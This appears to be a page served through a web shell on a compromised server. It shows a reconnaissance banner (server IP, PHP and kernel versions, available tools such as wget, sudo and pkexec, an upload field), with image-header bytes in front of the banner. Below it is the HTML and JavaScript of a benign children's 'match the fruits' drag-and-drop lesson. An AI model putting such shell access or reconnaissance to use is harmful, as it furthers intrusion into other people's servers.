????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.120 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelD/Category3/ |
Upload File : |
<!doctype html>
<html>
<head>
<title>Match trees with fruits</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
s_setDeviceTypeLevelCategoryLastLesson(Level.D, Category.No3);
s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.D, Category.No3, 13), true, true);
s_setFooterTable('id_tblFooter', true, true, false, true, true);
var ids_boxes = ['id_dropBox_imgWaterMelon', 'id_dropBox_imgGrapes', 'id_dropBox_imgCustard', 'id_dropBox_imgPineApple'];
var ids_headings = ['id_td_heading1'];
var ids_spans = ['id_span_imgGrapes', 'id_span_imgCustard', 'id_span_imgWaterMelon', 'id_span_imgPineApple'];
var ids_All = ids_boxes.concat(ids_headings);
s_adjust_fontSize_for_ids_all_devices(ids_boxes, 80);
s_adjust_fontSize_for_ids_all_devices(ids_headings, 70);
s_init_dropBox_tds_with_drag_here(ids_boxes);
s_init_dropping_spans(ids_spans);
var id_tables_array = ['id_table1'];
s_border_collapse_for_tables_for_all(id_tables_array);
}
function page_onLoad()
{
}
function btnPrevious_click()
{
window.location = 'LevelDCat3Lesson12.html';
}
function btnNext_click()
{
window.location = 'LevelDCat3Lesson14.html';
}
function btnHome_click()
{
s_btnHomeCategories_click('LevelD');
}
function DragDrop(id_dropBox, id_imgElement, ids_array)
{
if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
dragDropImageAndIsMovedTrue(s_currentDropingId, id_dropBox, id_imgElement);
isAllInfosMovedShowClapsAnimation();
s_set_currentDropingId_draggbleToFalse();
}
else
{
s_resetCurrentDroppingPosition(id_dropBox);
}
}
function dragDropImageAndIsMovedTrue(id_draggable_image, id_box_destination, id_img_source)
{
var elementDraggableImage = document.getElementById(id_draggable_image);
var elementBox = document.getElementById(id_box_destination);
var elementImageSource = document.getElementById(id_img_source);
var imageSource = '';
if (id_draggable_image == 'id_span_imgPineApple')
{
imageSource = '../../../img/LevelD/Category3/LevelDCat3Lesson13/pineAppleColoured.png';
}
else if (id_draggable_image == 'id_span_imgCustard')
{
imageSource = '../../../img/LevelD/Category3/LevelDCat3Lesson13/custardColoured.png';
}
else if (id_draggable_image == 'id_span_imgGrapes')
{
imageSource = '../../../img/LevelD/Category3/LevelDCat3Lesson13/grapesColoured.png';
}
else if (id_draggable_image == 'id_span_imgWaterMelon')
{
imageSource = '../../../img/LevelD/Category3/LevelDCat3Lesson13/waterMelonColoured.png';
}
var insertImage = '<img src="' + imageSource + '" width="' + elementImageSource.width + '" height="' + elementImageSource.height + '"/>';
elementBox.innerHTML = insertImage;
elementBox.style.backgroundColor = s_colorGreen;
elementDraggableImage.hidden = true;
elementDraggableImage.isMoved = true;
}
function isAllInfosMovedShowClapsAnimation()
{
var ids_boxes = ['id_dropBox_imgWaterMelon', 'id_dropBox_imgGrapes', 'id_dropBox_imgCustard', 'id_dropBox_imgPineApple'];
s_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="s_id_div_message"></div>
<table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr>
<td>
<table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td align="center" style="border:none">
<table id="id_tblSection2" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="5%">
<td>
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td id="id_td_heading1" class="s_style_heading" style="border:none">Match the fruits.
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-left: 0px; border-bottom: none; border-top:none">
<tr>
<td width="70%" style="border-left: 0px; border-right: 0px; border-bottom: 0px">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">
<tr>
<td width="*" style="border-left: 0px; border-right: 0px; border-bottom: 0px">
<table width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0" style="padding-top: 1%; padding-bottom: 1%">
<tr id="id_tr_imgWaterMelon" height="25%"
ondragover="s_highlight('id_dropBox_imgWaterMelon'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropBox_imgWaterMelon')"
ondrop="DragDrop('id_dropBox_imgWaterMelon', 'id_imgWaterMelon', ['id_span_imgWaterMelon'])">
<td align="center" width="60%">
<img id="id_imgChip" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/waterMelonTree.png" width="50%" alt="" draggable="false"/>
</td>
<td id="id_dropBox_imgWaterMelon" class="s_style_textRed" width="*">
</td>
</tr>
<tr id="id_tr_imgGrapes" height="25%"
ondragover="s_highlight('id_dropBox_imgGrapes'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropBox_imgGrapes')"
ondrop="DragDrop('id_dropBox_imgGrapes', 'id_imgGrapes', ['id_span_imgGrapes'])">
<td align="center" width="60%">
<img id="id_imgChair" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/grapesTree.png" width="60%" alt="" draggable="false"/>
</td>
<td id="id_dropBox_imgGrapes" class="s_style_textRed" width="*">
</td>
</tr>
<tr id="id_tr_imgCustard" height="25%"
ondragover="s_highlight('id_dropBox_imgCustard'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropBox_imgCustard')"
ondrop="DragDrop('id_dropBox_imgCustard', 'id_imgCustard', ['id_span_imgCustard'])">
<td align="center" width="60%">
<img id="id_imgCherry" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/custardTree.png" width="60%" alt="" draggable="false"/>
</td>
<td id="id_dropBox_imgCustard" class="s_style_textRed" width="*">
</td>
</tr>
<tr id="id_tr_imgPineApple" height="*"
ondragover="s_highlight('id_dropBox_imgPineApple'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_dropBox_imgPineApple')"
ondrop="DragDrop('id_dropBox_imgPineApple', 'id_imgPineApple', ['id_span_imgPineApple'])">
<td align="center" width="60%">
<img id="id_imgChild" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/pineAppleTree.png" width="60%" alt="" draggable="false"/>
</td>
<td id="id_dropBox_imgPineApple" class="s_style_textRed" width="*"></td>
</tr>
</table>
</td>
<td width="2%" style="border-left:none; border-right:none; border-bottom:none"></td>
</tr>
</table>
</td>
<td width="*">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-right:none; border-bottom:none">
<tr>
<td style="border: 0px">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="25%">
<td id="id_td_imgPineApple" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_imgPineApple">
<img id="id_imgPineApple" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/pineApple.png" width="50%" alt=""/>
</span>
</td>
</tr>
<tr height="25%">
<td id="id_td_imgCustard" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_imgCustard">
<img id="id_imgCustard" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/custard.png" width="50%" alt=""/>
</span>
</td>
</tr>
<tr height="25%">
<td id="id_td_imgGrapes" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_imgGrapes">
<img id="id_imgGrapes" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/grapes.png" width="50%" alt=""/>
</span>
</td>
</tr>
<tr height="*">
<td id="id_td_imgWaterMelon" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
<span id="id_span_imgWaterMelon">
<img id="id_imgWaterMelon" src="../../../img/LevelD/Category3/LevelDCat3Lesson13/waterMelon.png" width="70%" alt=""/>
</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_imgWaterMelon', {handle : 'id_td_imgWaterMelon', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_imgPineApple', {handle : 'id_td_imgPineApple', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_imgCustard', {handle : 'id_td_imgCustard', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_imgGrapes', {handle : 'id_td_imgGrapes', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
webkit_drop.add('id_tr_imgWaterMelon', {onOver : function(){s_highlight('id_dropBox_imgWaterMelon')}, onOut : function(){s_un_highlight('id_dropBox_imgWaterMelon')}, onDrop : function(){DragDrop('id_dropBox_imgWaterMelon', 'id_imgWaterMelon', ['id_span_imgWaterMelon'])}});
webkit_drop.add('id_tr_imgPineApple', {onOver : function(){s_highlight('id_dropBox_imgPineApple')}, onOut : function(){s_un_highlight('id_dropBox_imgPineApple')}, onDrop : function(){DragDrop('id_dropBox_imgPineApple', 'id_imgPineApple', ['id_span_imgPineApple'])}});
webkit_drop.add('id_tr_imgCustard', {onOver : function(){s_highlight('id_dropBox_imgCustard')}, onOut : function(){s_un_highlight('id_dropBox_imgCustard')}, onDrop : function(){DragDrop('id_dropBox_imgCustard', 'id_imgCustard', ['id_span_imgCustard'])}});
webkit_drop.add('id_tr_imgGrapes', {onOver : function(){s_highlight('id_dropBox_imgGrapes')}, onOut : function(){s_un_highlight('id_dropBox_imgGrapes')}, onDrop : function(){DragDrop('id_dropBox_imgGrapes', 'id_imgGrapes', ['id_span_imgGrapes'])}});
</script>
</body>
</html>